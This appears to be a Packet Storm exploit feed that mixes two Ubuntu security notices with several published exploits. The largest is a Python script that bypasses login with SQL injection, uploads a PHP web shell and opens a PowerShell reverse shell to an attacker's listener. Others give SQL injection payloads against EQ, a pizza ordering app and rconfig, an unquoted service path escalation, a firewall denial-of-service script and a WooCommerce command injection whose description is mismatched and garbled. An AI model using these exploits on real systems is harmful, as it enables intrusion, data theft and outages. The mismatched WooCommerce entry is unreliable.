Ubuntu Security Notice 5989-1 - Tao Lyu discovered that GlusterFS did not properly handle certain event notifications. An attacker could possibly use this issue to cause a denial of service.

    ==========================================================================Ubuntu Security Notice USN-5989-1March 30, 2023glusterfs vulnerability==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 16.04 ESMSummary:GlusterFS could be made to crash if it received a speciallycrafted request.Software Description:- glusterfs: clustered file-systemDetails:Tao Lyu discovered that GlusterFS did not properly handle certainevent notifications. An attacker could possibly use this issue tocause a denial of service.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 16.04 ESM:   glusterfs-client                     3.7.6-1ubuntu1+esm2   glusterfs-common                3.7.6-1ubuntu1+esm2   glusterfs-server                    3.7.6-1ubuntu1+esm2In general, a standard system update will make all the necessary changes.References:   https://ubuntu.com/security/notices/USN-5989-1   CVE-2023-26253

Ubuntu Security Notice USN-5989-1

Judging Management System version 1.0 suffers from bypass and remote shell upload vulnerabilities.

    # Exploit Title: Judging Management System v1.0 - Remote Code Execution (RCE)# Date: 12/11/2022# Exploit Author: Angelo Pio Amirante# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html# Version: 1.0# Tested on: Windows 10 on XAAMP serverimport requests,argparse,re,time,base64import urllib.parsefrom colorama import (Fore as F,Back as B,Style as S)from bs4 import BeautifulSoupBANNER = """╔═══════════════════════════════════════════════════════════════════════════════════════════════════════╗║ Judging Management System v1.0 - Auth Bypass + Unrestricted File Upload = Remote Code Execution (RCE) ║╚═══════════════════════════════════════════════════════════════════════════════════════════════════════╝"""def argsetup():    desc = S.BRIGHT + 'Judging Management System v1.0 - Remote Code Execution (RCE)'    parser = argparse.ArgumentParser(description=desc)    parser.add_argument('-t', '--target', help='Target URL, Ex: http://localhost/php-jms', required=True)    parser.add_argument('-l', '--listenip', help='Listening address required to receive reverse shell', required=True)    parser.add_argument('-lp','--listenport', help='Listening port required to receive reverse shell', required=True)    args = parser.parse_args()    return args# Performs Auth bypass in order to get the admin cookiedef auth_bypass(args):    print(F.CYAN+"[+] Login into the application through Auth Bypass vulnerability...")    session = requests.Session()    loginUrl = f"{args.target}/login.php"    username = """' OR 1=1-- -"""    password = "randomvalue1234"    data = {'username': username, 'password': password}    login = session.post(loginUrl,verify=False,data=data)    admin_cookie = login.cookies['PHPSESSID']    print(F.GREEN+"[+] Admin cookies obtained !!!")    return admin_cookie# Checks if the file has been uploaded to /uploads directorydef check_file(args,cookie):    uploads_endpoint = f"{args.target}/uploads/"    cookies = {'PHPSESSID': f'{cookie}'}    req = requests.get(uploads_endpoint,verify=False,cookies=cookies)    soup = BeautifulSoup(req.text,features='html.parser')    files = soup.find_all("a")    for i in range (len(files)):        match = re.search(".*-shelljudgesystem\.php",files[i].get('href'))        if match:            file = files[i].get('href')            print(F.CYAN+"[+] The webshell is at the following Url: "+f"{args.target}/uploads/"+file)            return file                return Nonedef file_upload(args,cookie):    now = int(time.time())    endpoint = f"{args.target}/edit_organizer.php"    cookies = {'wp-settings-time-1':f"{now}",'PHPSESSID': f'{cookie}'}    get_req = requests.get(endpoint,verify=False,cookies=cookies)    soup = BeautifulSoup(get_req.text,features='html.parser')    username = soup.find("input",{"name":"username"}).get('value')    admin_password = soup.find("input",{"id":"password"}).get('value')    print(F.GREEN + "[+] Admin username: " + username)    print(F.GREEN + "[+] Admin password: " + admin_password)            # Multi-part request    file_dict = {        'fname':(None,"Random"),        'mname':(None,"Random"),        'lname':(None,"Random"),        'email':(None,"ranom@mail.com"),        'pnum':(None,"014564343"),        'cname':(None,"Random"),        'caddress':(None,"Random"),        'ctelephone':(None,"928928392"),        'cemail':(None,"company@mail.com"),        'cwebsite':(None,"http://company.com"),        'file':("shelljudgesystem.php","<?php system($_REQUEST['cmd']) ?>","application/octet-stream"),        'username':(None,f"{admin_password}"),        'passwordx':(None,f"{admin_password}"),        'password2x':(None,f"{admin_password}"),        'password':(None,f"{admin_password}"),        'update':(None,"")    }        req = requests.post(endpoint,verify=False,cookies=cookies,files=file_dict)def exploit(args,cookie,file):    payload = f"""powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('{args.listenip}',{args.listenport})%3b"""+"""$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" """    uploads_endpoint = f"{args.target}/uploads/{file}?cmd={payload}"    cookies = {'PHPSESSID': f'{cookie}'}    print(F.GREEN + "\n[+] Enjoy your reverse shell ")    requests.get(uploads_endpoint,verify=False,cookies=cookies)                if __name__ == '__main__':    print(F.CYAN +  BANNER)    args = argsetup()    cookie=auth_bypass(args=args)    file_upload(args=args,cookie=cookie)    file_name=check_file(args=args,cookie=cookie)    if file_name is not None:        exploit(args=args,cookie=cookie,file=file_name)            else:        print(F.RED + "[!] File not found")

Judging Management System 1.0 Shell Upload

Judging Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for login bypass.

    # Exploit Title: Judging Management System v1.0 - Authentication Bypass# Date: 12/11/2022# Exploit Author: Angelo Pio Amirante# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html# Version: 1.0# Tested on: Windows 10 on XAAMP server# Vulnerability: An attacker can bypass login page and access to dashboard page# Vulnerable file: login.php# Exploit:1) Go to: http://localhost/php-jms/index.php2) As username use this payload: 'or 1=1-- -3) Use random words for passwordPOST /php-jms/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 37Origin: http://localhostConnection: closeReferer: http://localhost/php-jms/index.phpCookie: wp-settings-time-1=1669938282; _pk_id.1.1fff=9c7644c9d84f46f1.1670232782.Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1username=%27or+1%3D1--+-&password=asa

Judging Management System 1.0 SQL Injection

EQ Enterprise Management System version 2.2.0 suffers from a remote SQL injection vulnerability.

    Exploit Title: EQ Enterprise management system v2.2.0 - SQL InjectionDate: 2022.12.7Exploit Author: TLFVendor Homepage: https://www.yiquantech.com/pc/about.htmlSoftware Link(漏洞影响应用下载链接): http://121.8.146.131/,http://183.233.152.14:9000/,http://219.135.168.90:9527/,http://222.77.5.250:9000/,http://219.135.168.90:9530/Version: EQ v1.5.31 to v2.2.0Tested on: windows 10CVE : CVE-2022-45297 POC:POST /Account/Login HTTP/1.1 Host: 121.8.146.131 User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Content-Length: 118 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: ASP.NET_SessionId=tlipmh0zjgfdm5b4h1tgvolg Origin: http://121.8.146.131Referer: http://121.8.146.131/Account/Login X-Requested-With: XMLHttpRequest Accept-Encoding: gzipRememberPwd=false&ServerDB=EQ%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0&UserNumber=%27&UserPwd=%27

EQ Enterprise Management System 2.2.0 SQL Injection

Online Pizza Ordering version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: Online-Pizza-Ordering-1.0-Multiple-SQLi## Author: nu11secur1ty## Date: 03.31.2023## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The `email` parameter appears to be vulnerable to SQL injection attacks.The attacker easily can steal all information from the database, andit depends on the time he will need to decrypt this information,he can decrypt and use this information for very malicious purposes.STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: email (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'AND 2244=2244 AND 'GqOB'='GqOB&password=b0E!i9g!K9    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479' OR(SELECT 8595 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT(ELT(8595=8595,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND'FXYe'='FXYe&password=b0E!i9g!K9    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'AND (SELECT 3772 FROM (SELECT(SLEEP(7)))xChJ) AND'pJWv'='pJWv&password=b0E!i9g!K9---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-Pizza-Ordering-1.0/SQLi)## Proof and Exploit:[href](https://streamable.com/qil6by)## Time spend:00:37:00

Online Pizza Ordering 1.0 SQL Injection

rconfig version 3.9.7 suffers from a remote SQL injection vulnerability.

    # Exploit Title: rconfig 3.9.7 - Sql Injection (Authenticated)# Exploit Author: azhen# Date: 10/12/2022# Vendor Homepage: https://www.rconfig.com/# Software Link: https://www.rconfig.com/# Vendor: rConfig# Version: <= v3.9.7# Tested against Server Host: Linux# CVE: CVE-2022-45030import requestsimport sysimport urllib3urllib3.disable_warnings()s = requests.Session()# sys.argv.append("192.168.10.150") #Enter the hostnameif len(sys.argv) != 2:    print("Usage: python3 rconfig_sqli_3.9.7.py <host>")    sys.exit(1)host=sys.argv[1] #Enter the hostnamedef get_data(host):    print("[+] Get db data...")    vul_url = "https://"+host+":443/lib/ajaxHandlers/ajaxCompareGetCmdDates.php?deviceId=-1&command='+union+select+concat(1000%2bord(substr({},{},1)),'-1-1')%20--%20"    query_exp = "database()"    result_data = ""    for i in range(1, 100):        burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate"}        res = requests.get(vul_url.format(query_exp, i), cookies=s.cookies,verify=False)        # print(res.text)        a = chr(int(res.text[6:10]) - 1000)        if a == '\x00':            break        result_data += a                print(result_data)        print("[+] Database name: {}".format(result_data))    '''    output:    [+] Logging in...    [+] Get db data...    r    rc    rco    rcon    rconf    rconfi    rconfig    rconfigd    rconfigdb    [+] Database name: rconfigdb            '''def login(host):    print("[+] Logging in...")    url = "https://"+host+":443/lib/crud/userprocess.php"    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}        data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin    response=s.post(url, headers=headers, cookies=s.cookies, data=data, verify=False)    get_data(host)login(host)

rconfig 3.9.7 SQL Injection

CoolerMaster MasterPlus version 1.8.5 suffers from an unquoted service path vulnerability.

    # Exploit Title: CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path# Date: 11/17/2022# Exploit Author: Damian Semon Jr (Blue Team Alpha)# Version: 1.8.5# Vendor Homepage: https://masterplus.coolermaster.com/# Software Link: https://masterplus.coolermaster.com/# Tested on: Windows 10 64x# Step to discover the unquoted service path:wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """CoolerMaster MasterPlus Technology Service  MPService  C:\Program Files (x86)\CoolerMaster\MasterPlus\MPService.exe  Auto# Info on the service:C:\>sc qc MPService[SC] QueryServiceConfig SUCCESSSERVICE_NAME: MPService        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : C:\Program Files (x86)\CoolerMaster\MasterPlus\MPService.exe        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : CoolerMaster MasterPlus Technology Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem                        #Exploit:A successful exploit of this vulnerability could allow a threat actor to execute code during startup or reboot with System privileges. Drop payload "Program.exe" in C:\ and restart service or computer to trigger. Ex: (C:\Program.exe)

CoolerMaster MasterPlus 1.8.5 Unquoted Service Path

Ubuntu Security Notice 5988-1 - It was discovered that integer overflows vulnerabilities existed in Xcftools. An attacker could use this to cause a denial of service or possibly execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-5988-1  
March 29, 2023

xcftools vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 16.04 ESM

Summary:

Xcftools could be made to crash or run programs as an administrator  
if it opened a specially crafted file.

Software Description:  
- xcftools: command-line tools for extracting data for XCF files

Details:

It was discovered that integer overflows vulnerabilities existed in Xcftools.  
An attacker could use this to cause a denial of service (system crash) or  
possibly execute arbitrary code. (CVE-2019-5086, CVE-2019-5087)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
  xcftools                        1.0.7-6ubuntu0.20.04.1

Ubuntu 18.04 LTS:  
  xcftools                        1.0.7-6ubuntu0.1

Ubuntu 16.04 ESM:  
  xcftools                        1.0.7-5ubuntu0.1~esm1

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5988-1  
  CVE-2019-5086, CVE-2019-5087

Package Information:  
  https://launchpad.net/ubuntu/+source/xcftools/1.0.7-6ubuntu0.20.04.1  
  https://launchpad.net/ubuntu/+source/xcftools/1.0.7-6ubuntu0.1

Ubuntu Security Notice USN-5988-1

Qubes Mirage Firewall versions 0.8.0 through 0.8.3 suffer from a denial of service vulnerability.

    # Exploit Title: qubes-mirage-firewall  v0.8.3 - Denial Of Service (DoS)# Date: 2022-12-04# Exploit Author: Krzysztof Burghardt <krzysztof@burghardt.pl># Vendor Homepage: https://mirage.io/blog/MSA03# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases# Version: >= 0.8.0 & < 0.8.4# Tested on: Qubes OS# CVE: CVE-2022-46770#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166#!/usr/bin/env python3from socket import socket, AF_INET, SOCK_DGRAMTARGET = "239.255.255.250"PORT = 5353PAYLOAD = b'a' * 607s = socket(AF_INET, SOCK_DGRAM)s.sendto(PAYLOAD, (TARGET, PORT))

Qubes Mirage Firewall 0.8.3 Denial Of Service

WordPress WooCommerce plugin version 7.1.0 suffers from a remote code execution vulnerability.

    # Title: Wordpress Plugin WooCommerce v7.1.0 - Remote Code Execution(RCE)# Date: 2022-12-07# Author: Milad Karimi# Vendor Homepage: https://wordpress.org/plugins/woocommerce# Software Link: https://wordpress.org/plugins/woocommerce# Tested on: windows 10 , firefox# Version: 7.1.0# CVE : N/A# Description:simple, easy to use jQuery frontend to php backend that pings variousdevices and changes colors from green to red depending on if device isup or down.# PoC :http://localhost/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php?product-type=;echo '<?php phpinfo(); ?>' >info.phphttp://localhost/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php?product-type=;echo '<?php phpinfo(); ?>' >info.php# Vulnerabile code: 95: $classname $classname($post_id);   94: $classname = WC_Product_Factory::get_product_classname($post_id, $product_type : 'simple');     92: ⇓ function save($post_id, $post)       93: $product_type = WC_Product_Factory::get_product_type($post_id) : sanitize_title(stripslashes($_POST['product-type']));           92: ⇓ function save($post_id, $post)

Source

Packet Storm